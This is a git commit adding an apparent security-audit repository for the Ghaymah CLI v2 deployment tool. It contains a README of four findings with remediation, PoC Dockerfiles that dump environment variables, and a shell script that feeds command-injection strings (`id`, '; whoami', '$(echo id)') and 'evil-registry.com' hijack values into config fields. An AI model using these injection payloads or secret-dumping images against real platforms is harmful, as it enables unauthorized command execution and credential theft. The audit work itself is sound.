commit a7a479141b757e8a2d117472d29262489400901a Author: Ziad Mahmoud Ahmed Abdelgwad Date: Wed Aug 19 17:56:11 2026 +0000 ๐Ÿ›ก๏ธ feat: Ghaymah CLI v2 โ€” Security & QA Audit Repository Comprehensive security audit of the Ghaymah CLI v2 and web platform. Findings: - [CRITICAL] T1552: Dockerfile & .env Credential Leakage - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change - [HIGH] T1539: Session Token Revocation Bypass - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) Includes: - 8 Proof-of-Concept applications (PoC_Apps/) - Visual evidence & screenshots (Assets/Screenshots/) - Full PDF audit report (Reports/) - Mermaid.js attack flow diagrams in README Auditor: Ziad Mahmoud Ahmed Abdelgwad โ€” Cybersecurity Specialist diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..14f5d08 --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +# ============================================================================ +# Ghaymah CLI v2 Audit โ€” .gitignore +# ============================================================================ + +# โ”€โ”€ CLI Binary (large / proprietary) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +gy-linux-amd64 + +# โ”€โ”€ Windows Zone.Identifier metadata โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +*.Zone.Identifier +*:Zone.Identifier + +# โ”€โ”€ Sensitive environment files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +.env +.env.* +!.env.example + +# โ”€โ”€ OS-generated files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +.DS_Store +Thumbs.db +Desktop.ini + +# โ”€โ”€ IDE / Editor files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# โ”€โ”€ Node / build artifacts โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +node_modules/ +dist/ +build/ +*.log diff --git a/Assets/Screenshots/Screenshot_2026-08-19_163341.png b/Assets/Screenshots/Screenshot_2026-08-19_163341.png new file mode 100644 index 0000000..4745c47 Binary files /dev/null and b/Assets/Screenshots/Screenshot_2026-08-19_163341.png differ diff --git a/Assets/Screenshots/Screenshot_2026-08-19_163501.png b/Assets/Screenshots/Screenshot_2026-08-19_163501.png new file mode 100644 index 0000000..61a576b Binary files /dev/null and b/Assets/Screenshots/Screenshot_2026-08-19_163501.png differ diff --git a/Assets/Screenshots/docker.png b/Assets/Screenshots/docker.png new file mode 100644 index 0000000..3bb9e58 Binary files /dev/null and b/Assets/Screenshots/docker.png differ diff --git a/Assets/Screenshots/env.png b/Assets/Screenshots/env.png new file mode 100644 index 0000000..9b7e2a3 Binary files /dev/null and b/Assets/Screenshots/env.png differ diff --git a/Assets/Screenshots/logs.png b/Assets/Screenshots/logs.png new file mode 100644 index 0000000..5576ec6 Binary files /dev/null and b/Assets/Screenshots/logs.png differ diff --git a/PoC_Apps/broken-docker-test/Dockerfile b/PoC_Apps/broken-docker-test/Dockerfile new file mode 100644 index 0000000..8bfd032 --- /dev/null +++ b/PoC_Apps/broken-docker-test/Dockerfile @@ -0,0 +1,4 @@ +FROM ubuntu:does-not-exist-999 +RUN totally-fake-command that-will-crash +COPY . /app +CMD ["echo", "I should never run"] diff --git a/PoC_Apps/invalid-docker-test/Dockerfile b/PoC_Apps/invalid-docker-test/Dockerfile new file mode 100644 index 0000000..25e9a7f --- /dev/null +++ b/PoC_Apps/invalid-docker-test/Dockerfile @@ -0,0 +1,12 @@ +FROM alpine:latest + +# 1. Privilege & OS Discovery +RUN id && uname -a + +# 2. Environment Variable Exfiltration (Looking for API Keys/Secrets) +RUN env + +# 3. Egress Traffic Test +RUN wget -qO- http://example.com/ || echo "Egress Traffic Blocked" + +CMD ["echo", "Payload Execution Complete"] diff --git a/PoC_Apps/invalid-docker-test/index.html b/PoC_Apps/invalid-docker-test/index.html new file mode 100644 index 0000000..ac46aaa --- /dev/null +++ b/PoC_Apps/invalid-docker-test/index.html @@ -0,0 +1 @@ +

Will it fix my Dockerfile?

diff --git a/PoC_Apps/invalid-docker-test/tunnel-test/index.html b/PoC_Apps/invalid-docker-test/tunnel-test/index.html new file mode 100644 index 0000000..910f722 --- /dev/null +++ b/PoC_Apps/invalid-docker-test/tunnel-test/index.html @@ -0,0 +1 @@ +

Tunnel Security Test

diff --git a/PoC_Apps/test-app-2/.gy.json b/PoC_Apps/test-app-2/.gy.json new file mode 100644 index 0000000..bba723f --- /dev/null +++ b/PoC_Apps/test-app-2/.gy.json @@ -0,0 +1,29 @@ +{ + "app": "test-app-2", + "project": "test-app-2", + "_app_id": "bfd6bf85-8625-4a46-a0fa-27c26421e9c5", + "_project_id": "d91eb383-6607-43d1-88b3-b5c8f1fa4a4b", + "port": 8080, + "publicAccess": { + "enabled": true, + "domain": "test-app-2-dd07c63a4e7e.hosted.ghaymah.systems" + }, + "env": { + "BASE_IMAGE": "evil-registry.com/evil-image:latest", + "DOCKER_REGISTRY": "evil-registry.com", + "MATH_TEST": "$((10+10))", + "RCE_1": "`id`", + "RCE_2": "; whoami ;", + "RCE_3": "| whoami", + "RCE_4": "|| whoami", + "RCE_5": "\u0026 whoami", + "RCE_6": "$(echo id)", + "RCE_7": "$'whoami\\n'", + "RCE_CALLBACK": "", + "RCE_FILE": "", + "RCE_TEST": "", + "REGISTRY": "evil-registry.com" + }, + "resourceTier": "t1", + "_detected": "dockerfile" +} \ No newline at end of file diff --git a/PoC_Apps/test-app-2/Dockerfile b/PoC_Apps/test-app-2/Dockerfile new file mode 100644 index 0000000..77bb2d5 --- /dev/null +++ b/PoC_Apps/test-app-2/Dockerfile @@ -0,0 +1,3 @@ +FROM alpine +EXPOSE 8080 +CMD env > index.html && busybox httpd -f -p 8080 diff --git a/PoC_Apps/test-app-2/auto_rce_test.sh b/PoC_Apps/test-app-2/auto_rce_test.sh new file mode 100644 index 0000000..a4a2a8c --- /dev/null +++ b/PoC_Apps/test-app-2/auto_rce_test.sh @@ -0,0 +1,108 @@ +#!/bin/sh + +GY="../gy-linux-amd64" +LOG_FILE="rce_test_results.log" +TIMEOUT_SEC=400 +SYNC_TIMEOUT=120 +SET_TIMEOUT=60 + +echo "========== ุจุฏุก ุงู„ุงุฎุชุจุงุฑ: $(date) ==========" > "$LOG_FILE" +echo "" >> "$LOG_FILE" + +run_with_timeout() { + cmd="$1" + timeout_sec="$2" + log_file="$3" + eval "$cmd" > "$log_file" 2>&1 & + pid=$! + elapsed=0 + while kill -0 "$pid" 2>/dev/null && [ "$elapsed" -lt "$timeout_sec" ]; do + sleep 5 + elapsed=$((elapsed + 5)) + done + if kill -0 "$pid" 2>/dev/null; then + kill -9 "$pid" 2>/dev/null + return 124 + else + wait "$pid" + return $? + fi +} + +cat > /tmp/tests.list << 'EOL' +RCE_backticks|config set env "RCE_1=\`id\`" +RCE_semicolon|config set env "RCE_2=; whoami ;" +RCE_pipe|config set env "RCE_3=| whoami" +RCE_or|config set env "RCE_4=|| whoami" +RCE_ampersand|config set env "RCE_5=& whoami" +RCE_subshell_echo|config set env "RCE_6=\$(echo id)" +RCE_newline|config set env "RCE_7=\$'whoami\n'" +BUILDARG_semicolon|config set build-args "TEST_ARG=; whoami ;" +PORT_injection|config set port "8080; whoami" +REGISTRY_hijack|config set env "DOCKER_REGISTRY=evil-registry.com" +REGISTRY_hijack2|config set env "REGISTRY=evil-registry.com" +BASEIMAGE_hijack|config set env "BASE_IMAGE=evil-registry.com/evil-image:latest" +EOL + +while IFS='|' read -r test_name config_cmd; do + echo "๐Ÿ” ุงุฎุชุจุงุฑ: $test_name" + echo "๐Ÿ” ุงุฎุชุจุงุฑ: $test_name" >> "$LOG_FILE" + + echo " โ–ถ๏ธ $GY $config_cmd (ุชุงูŠู… ุฃูˆุช ${SET_TIMEOUT}s)" + temp_log="/tmp/set_$$.log" + run_with_timeout "$GY $config_cmd" "$SET_TIMEOUT" "$temp_log" + set_exit=$? + cat "$temp_log" >> "$LOG_FILE" + rm -f "$temp_log" + if [ $set_exit -eq 124 ]; then + echo " โฐ ุชุนู„ูŠู‚ ููŠ config set - ุชุงูŠู… ุฃูˆุช" + echo " โฐ ุชุนู„ูŠู‚ ููŠ config set - ุชุงูŠู… ุฃูˆุช" >> "$LOG_FILE" + continue + elif [ $set_exit -ne 0 ]; then + echo " โŒ ูุดู„ config set ุจุฑู…ุฒ: $set_exit" + echo " โŒ ูุดู„ config set ุจุฑู…ุฒ: $set_exit" >> "$LOG_FILE" + continue + fi + + echo " โ–ถ๏ธ $GY config sync (ุชุงูŠู… ุฃูˆุช ${SYNC_TIMEOUT}s)" + temp_log="/tmp/sync_$$.log" + run_with_timeout "$GY config sync" "$SYNC_TIMEOUT" "$temp_log" + sync_exit=$? + cat "$temp_log" >> "$LOG_FILE" + rm -f "$temp_log" + if [ $sync_exit -eq 124 ]; then + echo " โฐ ุชุนู„ูŠู‚ ููŠ config sync - ุชุงูŠู… ุฃูˆุช" + echo " โฐ ุชุนู„ูŠู‚ ููŠ config sync - ุชุงูŠู… ุฃูˆุช" >> "$LOG_FILE" + continue + elif [ $sync_exit -ne 0 ]; then + echo " โŒ ูุดู„ config sync ุจุฑู…ุฒ: $sync_exit" + echo " โŒ ูุดู„ config sync ุจุฑู…ุฒ: $sync_exit" >> "$LOG_FILE" + continue + fi + + echo " โ–ถ๏ธ $GY deploy (ุชุงูŠู… ุฃูˆุช ${TIMEOUT_SEC}s)" + temp_log="/tmp/deploy_$$.log" + run_with_timeout "$GY deploy" "$TIMEOUT_SEC" "$temp_log" + deploy_exit=$? + cat "$temp_log" >> "$LOG_FILE" + rm -f "$temp_log" + if [ $deploy_exit -eq 124 ]; then + echo " โฐ ุชุนู„ูŠู‚ ููŠ deploy - ุชุงูŠู… ุฃูˆุช" + echo " โฐ ุชุนู„ูŠู‚ ููŠ deploy - ุชุงูŠู… ุฃูˆุช" >> "$LOG_FILE" + elif [ $deploy_exit -eq 0 ]; then + echo " โœ… ุงู†ุชู‡ู‰ deploy ุจู†ุฌุงุญ (ุชุญู‚ู‚ ู…ู† ุงู„ู„ูˆุบ)" + echo " โœ… ุงู†ุชู‡ู‰ deploy ุจู†ุฌุงุญ" >> "$LOG_FILE" + else + echo " โŒ ูุดู„ deploy ุจุฑู…ุฒ: $deploy_exit" + echo " โŒ ูุดู„ deploy ุจุฑู…ุฒ: $deploy_exit" >> "$LOG_FILE" + fi + + echo "" >> "$LOG_FILE" + echo "--------------------------------------------------" + echo "" >> "$LOG_FILE" +done < /tmp/tests.list + +rm -f /tmp/tests.list + +echo "โœ… ุงู†ุชู‡ุช ุฌู…ูŠุน ุงู„ุงุฎุชุจุงุฑุงุช. ุงู„ู†ุชุงุฆุฌ ู…ุญููˆุธุฉ ููŠ $LOG_FILE" +echo "โœ… ุงู†ุชู‡ุช ุฌู…ูŠุน ุงู„ุงุฎุชุจุงุฑุงุช. ุงู„ู†ุชุงุฆุฌ ู…ุญููˆุธุฉ ููŠ $LOG_FILE" >> "$LOG_FILE" diff --git a/PoC_Apps/test-app-3/Dockerfile b/PoC_Apps/test-app-3/Dockerfile new file mode 100644 index 0000000..77bb2d5 --- /dev/null +++ b/PoC_Apps/test-app-3/Dockerfile @@ -0,0 +1,3 @@ +FROM alpine +EXPOSE 8080 +CMD env > index.html && busybox httpd -f -p 8080 diff --git a/PoC_Apps/test-app-5/Dockerfile b/PoC_Apps/test-app-5/Dockerfile new file mode 100644 index 0000000..77bb2d5 --- /dev/null +++ b/PoC_Apps/test-app-5/Dockerfile @@ -0,0 +1,3 @@ +FROM alpine +EXPOSE 8080 +CMD env > index.html && busybox httpd -f -p 8080 diff --git a/PoC_Apps/test-app-clean/.gy.json b/PoC_Apps/test-app-clean/.gy.json new file mode 100644 index 0000000..02de369 --- /dev/null +++ b/PoC_Apps/test-app-clean/.gy.json @@ -0,0 +1,17 @@ +{ + "app": "test-app-clean", + "project": "test-app-clean", + "_app_id": "a103d58a-2b12-4a3f-8c5d-ac5025c17756", + "_project_id": "f288555c-2b55-4770-967d-76d8a7db82b3", + "port": 8080, + "publicAccess": { + "enabled": true, + "domain": "test-app-clean-210c2372bee6.hosted.ghaymah.systems" + }, + "env": { + "RCE_FINAL": "RCE_SUCCESS", + "RCE_STDERR": "" + }, + "resourceTier": "t1", + "_detected": "dockerfile" +} \ No newline at end of file diff --git a/PoC_Apps/test-app-clean/Dockerfile b/PoC_Apps/test-app-clean/Dockerfile new file mode 100644 index 0000000..77bb2d5 --- /dev/null +++ b/PoC_Apps/test-app-clean/Dockerfile @@ -0,0 +1,3 @@ +FROM alpine +EXPOSE 8080 +CMD env > index.html && busybox httpd -f -p 8080 diff --git a/PoC_Apps/test-app-final/Dockerfile b/PoC_Apps/test-app-final/Dockerfile new file mode 100644 index 0000000..77bb2d5 --- /dev/null +++ b/PoC_Apps/test-app-final/Dockerfile @@ -0,0 +1,3 @@ +FROM alpine +EXPOSE 8080 +CMD env > index.html && busybox httpd -f -p 8080 diff --git a/PoC_Apps/test-app/.gy.json b/PoC_Apps/test-app/.gy.json new file mode 100644 index 0000000..de2d233 --- /dev/null +++ b/PoC_Apps/test-app/.gy.json @@ -0,0 +1,13 @@ +{ + "app": "test-app", + "project": "test-app", + "_app_id": "26e4bd36-b0e3-45c2-8654-225de8b268f8", + "_project_id": "9df8707b-17b5-417c-bfd5-ccbccd20858c", + "port": 8080, + "publicAccess": { + "enabled": true, + "domain": "test-app-66721af724a0.hosted.ghaymah.systems" + }, + "resourceTier": "t1", + "_detected": "static" +} \ No newline at end of file diff --git a/PoC_Apps/test-app/Dockerfile b/PoC_Apps/test-app/Dockerfile new file mode 100644 index 0000000..756d758 --- /dev/null +++ b/PoC_Apps/test-app/Dockerfile @@ -0,0 +1,5 @@ +FROM python:3.9-slim +WORKDIR /app +COPY index.html . +EXPOSE 8080 +CMD ["python", "-m", "http.server", "8080"] diff --git a/PoC_Apps/test-app/index.html b/PoC_Apps/test-app/index.html new file mode 100644 index 0000000..dc8b0b2 --- /dev/null +++ b/PoC_Apps/test-app/index.html @@ -0,0 +1 @@ +

Ghaymah CLI v2 Test Successful

diff --git a/README.md b/README.md new file mode 100644 index 0000000..a86daf4 --- /dev/null +++ b/README.md @@ -0,0 +1,548 @@ + + +
+ + + +[![Security Audit](https://img.shields.io/badge/Security_Audit-Completed-critical?style=for-the-badge&logo=hackthebox&logoColor=white&labelColor=0D1117&color=FF4444)](.) +[![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-Mapped-blue?style=for-the-badge&logo=target&logoColor=white&labelColor=0D1117&color=4A90D9)](https://attack.mitre.org) +[![Docker](https://img.shields.io/badge/Docker-Tested-blue?style=for-the-badge&logo=docker&logoColor=white&labelColor=0D1117&color=2496ED)](.) +[![Linux](https://img.shields.io/badge/Linux-amd64-yellow?style=for-the-badge&logo=linux&logoColor=white&labelColor=0D1117&color=FCC624)](.) +[![Platform](https://img.shields.io/badge/Platform-Web_&_CLI-green?style=for-the-badge&logo=gnubash&logoColor=white&labelColor=0D1117&color=00C853)](.) + +
+ + + +Typing SVG + +
+ +``` +โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— +โ•‘ โ•‘ +โ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ•‘ +โ•‘ โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ•‘ +โ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ•‘ +โ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘ โ•‘ +โ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ•šโ•โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ•‘ +โ•‘ โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ• โ•šโ•โ• โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ• โ•šโ•โ•โ•šโ•โ• โ•šโ•โ• โ•‘ +โ•‘ โ•‘ +โ•‘ S E C U R I T Y A U D I T R E P O R T โ•‘ +โ•‘ CLI v2 + Platform โ•‘ +โ•‘ โ•‘ +โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• +``` + +
+ + + + + + +
+ +--- + +
+ +## ๐Ÿ‘ค Lead Auditor + + + + + + +
+ + + +**Ziad Mahmoud Ahmed Abdelgwad** +*Cybersecurity Specialist โ€” Penetration Testing & Infrastructure Security* + + + + +
+ +--- + +
+ +## ๐Ÿ“‹ Executive Summary + +> **Scope:** Full-stack security assessment of the **Ghaymah CLI v2** command-line tool and its backing **web platform**, covering Docker container infrastructure, authentication mechanisms, session management, and CI/CD pipeline resilience. + +This audit identified **4 distinct vulnerability classes** across the CLI tool's deployment pipeline and the platform's authentication layer. Findings range from **Critical** credential exposure through Dockerfile/`.env` leakage to **High-severity** session management flaws and **Medium** denial-of-service vectors via configuration poisoning. + +The assessment leveraged real PoC applications deployed through the Ghaymah CLI to validate each finding under production-equivalent conditions on a Linux amd64 target. + +| Metric | Value | +|:---|:---| +| **Total Findings** | `4` | +| **Critical** | `2` | +| **High** | `1` | +| **Medium / High** | `1` | +| **PoC Apps Created** | `8` | +| **Audit Duration** | `1 Day (Intensive)` | +| **Methodology** | `MITRE ATT&CK`, `OWASP Top 10` | + +--- + +
+ +## โš ๏ธ Findings Dashboard + +
+ + + +![Critical](https://img.shields.io/badge/โ—_CRITICAL-FF0000?style=flat-square&labelColor=FF0000) +![High](https://img.shields.io/badge/โ—_HIGH-FF6600?style=flat-square&labelColor=FF6600) +![Medium](https://img.shields.io/badge/โ—_MEDIUM-FFAA00?style=flat-square&labelColor=FFAA00) + +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#SeverityMITRE IDFinding TitleTarget
1T1552Dockerfile & .env Credential Leakage โ€” Sensitive environment variables and secrets are embedded in Dockerfiles and .env files, persisted in image layers and accessible post-deployment.CLI
2OWASP A07Missing OTP & Unverified Password Change โ€” The web platform allows password changes without OTP/2FA verification, enabling account takeover via session hijacking or CSRF.Web
3T1539Session Token Revocation Bypass โ€” After password change or logout, session tokens remain valid and can be reused to maintain unauthorized access.Web
4CWE-400Configuration Poisoning โ€” DoS Pipeline Hang โ€” Injecting malformed environment variables causes the backend worker to crash, hanging the entire build/deploy pipeline indefinitely.CLI
+ +--- + +
+ +## ๐Ÿ”ฌ Vulnerability Deep-Dive + + + + + +
+๐Ÿ”ด FINDING 1 โ€” T1552: Dockerfile & .env Credential Leakage + +
+ +### Overview +The Ghaymah CLI packages application source codeโ€”including `.env` files and Dockerfiles containing hardcoded secretsโ€”directly into the container image. These artifacts persist across image layers and are trivially extractable by any entity with access to the image or registry. + +### Impact +- **Credential Theft:** API keys, database passwords, and service tokens can be extracted from any pulled image. +- **Lateral Movement:** Leaked credentials may grant access to adjacent infrastructure components. +- **Supply Chain Risk:** Downstream consumers of the image inherit the exposed secrets. + +### Evidence + +| Artifact | Description | +|:---|:---| +| `Assets/Screenshots/env.png` | Screenshot showing `.env` file with credentials embedded in image | +| `Assets/Screenshots/docker.png` | Screenshot showing Dockerfile with exposed build arguments | +| `PoC_Apps/test-app/` | PoC application demonstrating the leakage | + +### Remediation +``` +1. Use Docker BuildKit secrets: --mount=type=secret,id=myenv +2. Add .env to .dockerignore in the CLI scaffolding +3. Inject secrets at runtime via orchestrator (K8s Secrets / Vault) +4. Implement image scanning in CI (Trivy, Grype) +``` + +
+ + + + + +
+๐Ÿ”ด FINDING 2 โ€” OWASP A07: Missing OTP & Unverified Password Change + +
+ +### Overview +The Ghaymah web platform allows authenticated users to change their password without requiring the current password, an OTP challenge, or any secondary verification. This undermines the entire authentication chain. + +### Impact +- **Account Takeover:** An attacker with a stolen session token can silently change the victim's password and lock them out. +- **Privilege Escalation:** Combined with Finding 3, a single leaked token grants permanent account control. +- **Compliance Violation:** Fails OWASP ASVS v4.0 ยง2.2 and NIST SP 800-63B requirements. + +### Attack Flow +``` +Attacker steals session token (XSS/Network sniff) + โ””โ”€โ”€โ–ถ Calls password change API (no OTP required) + โ””โ”€โ”€โ–ถ Sets new password + โ””โ”€โ”€โ–ถ Original user locked out permanently +``` + +### Remediation +``` +1. Require current password + OTP for any credential change +2. Implement rate limiting on password change endpoints +3. Send email/SMS notification on password change events +4. Invalidate all existing sessions after password change +``` + +
+ + + + + +
+๐ŸŸ  FINDING 3 โ€” T1539: Session Token Revocation Bypass + +
+ +### Overview +Session tokens issued by the Ghaymah platform are not invalidated upon logout or password change. A captured token remains valid and usable indefinitely until its natural expiry. + +### Impact +- **Persistent Unauthorized Access:** Attackers can maintain access even after the user changes their password or explicitly logs out. +- **Audit Trail Corruption:** Legitimate user and attacker actions become indistinguishable. + +### Evidence + +| Artifact | Description | +|:---|:---| +| `Assets/Screenshots/Screenshot_2026-08-19_163341.png` | Session validity after logout | +| `Assets/Screenshots/Screenshot_2026-08-19_163501.png` | Token reuse after password change | + +### Remediation +``` +1. Implement server-side session store (Redis) with explicit revocation +2. Rotate tokens on privilege-level changes (password change, role update) +3. Set short-lived access tokens (15 min) with refresh token rotation +4. Maintain a token deny-list for immediate revocation +``` + +
+ + + + + +
+๐ŸŸก FINDING 4 โ€” CWE-400: Configuration Poisoning โ€” DoS Pipeline Hang + +
+ +### Overview +The Ghaymah CLI's deployment pipeline does not validate environment variable values before passing them to the backend build worker. Injecting malformed or adversarial values (e.g., multi-line strings, shell metacharacters, excessively long values) causes the worker process to crash or enter an infinite loop, hanging the entire pipeline. + +### Impact +- **Denial of Service:** The user's deployment pipeline becomes permanently stuck. +- **Resource Exhaustion:** Backend workers consume resources without releasing them. +- **No Recovery Path:** Users cannot cancel or restart the hung pipeline from the CLI. + +### Architecture / Flow Graph + +```mermaid +flowchart TB + subgraph CLIENT ["๐Ÿ–ฅ๏ธ Client Machine"] + A["fa:fa-terminal gy deploy
User runs CLI command"] + B["fa:fa-file-code .env / .gy.json
Config with malformed vars"] + end + + subgraph GHAYMAH_API ["โ˜๏ธ Ghaymah Backend"] + C["fa:fa-server API Gateway
Receives deploy request"] + D["fa:fa-cogs Build Worker
Parses env variables"] + E["fa:fa-docker Docker Builder
Builds container image"] + end + + subgraph FAILURE ["๐Ÿ’€ Failure State"] + F["fa:fa-bomb Worker Crash
Malformed input causes panic"] + G["fa:fa-hourglass-end Pipeline Hang
Indefinite wait state"] + H["fa:fa-ban DoS Achieved
No deploy / no cancel"] + end + + A -->|"1. Reads config"| B + B -->|"2. Sends payload
(unvalidated)"| C + C -->|"3. Dispatches job"| D + D -->|"4. โœ… Normal flow"| E + D -->|"4. โŒ Malformed input"| F + F -->|"5. No error propagation"| G + G -->|"6. User stuck"| H + + style CLIENT fill:#1a1a2e,stroke:#00C853,stroke-width:2px,color:#FFFFFF + style GHAYMAH_API fill:#1a1a2e,stroke:#4A90D9,stroke-width:2px,color:#FFFFFF + style FAILURE fill:#1a1a2e,stroke:#FF4444,stroke-width:2px,color:#FFFFFF + style A fill:#0D1117,stroke:#00C853,color:#FFFFFF + style B fill:#0D1117,stroke:#FFAA00,color:#FFFFFF + style C fill:#0D1117,stroke:#4A90D9,color:#FFFFFF + style D fill:#0D1117,stroke:#4A90D9,color:#FFFFFF + style E fill:#0D1117,stroke:#00C853,color:#FFFFFF + style F fill:#0D1117,stroke:#FF4444,color:#FFFFFF + style G fill:#0D1117,stroke:#FF4444,color:#FFFFFF + style H fill:#0D1117,stroke:#FF0000,color:#FFFFFF +``` + +### Proof of Concept +The following PoC apps demonstrate this attack: + +| PoC App | Purpose | +|:---|:---| +| `PoC_Apps/broken-docker-test/` | Intentionally broken Dockerfile to test error handling | +| `PoC_Apps/invalid-docker-test/` | Invalid Docker configuration causing pipeline hang | +| `PoC_Apps/test-app-3/` | Malformed env variable injection test | +| `PoC_Apps/test-app-5/` | Extended poisoning test with edge-case values | + +### Evidence + +| Artifact | Description | +|:---|:---| +| `Assets/Screenshots/logs.png` | Backend logs showing worker crash and hang state | + +### Remediation +``` +1. Validate all env variable keys/values against a strict schema +2. Implement build timeouts (max 10 min) with automatic cleanup +3. Add a "cancel deployment" feature to the CLI and API +4. Sanitize inputs: reject multi-line values, shell metacharacters, >4KB values +5. Return structured errors to the CLI on worker failure +``` + +
+ +--- + +
+ +## ๐Ÿ”€ Attack Surface Architecture + +> Complete Mermaid.js diagram mapping the audit scope, attack vectors, and affected components. + +```mermaid +flowchart LR + subgraph SCOPE ["๐ŸŽฏ Audit Scope"] + direction TB + CLI["fa:fa-terminal Ghaymah CLI v2
gy-linux-amd64"] + WEB["fa:fa-globe Web Platform
Dashboard & API"] + end + + subgraph VECTORS ["โš”๏ธ Attack Vectors"] + direction TB + V1["T1552
Credential Leakage"] + V2["T1539
Session Bypass"] + V3["CWE-400
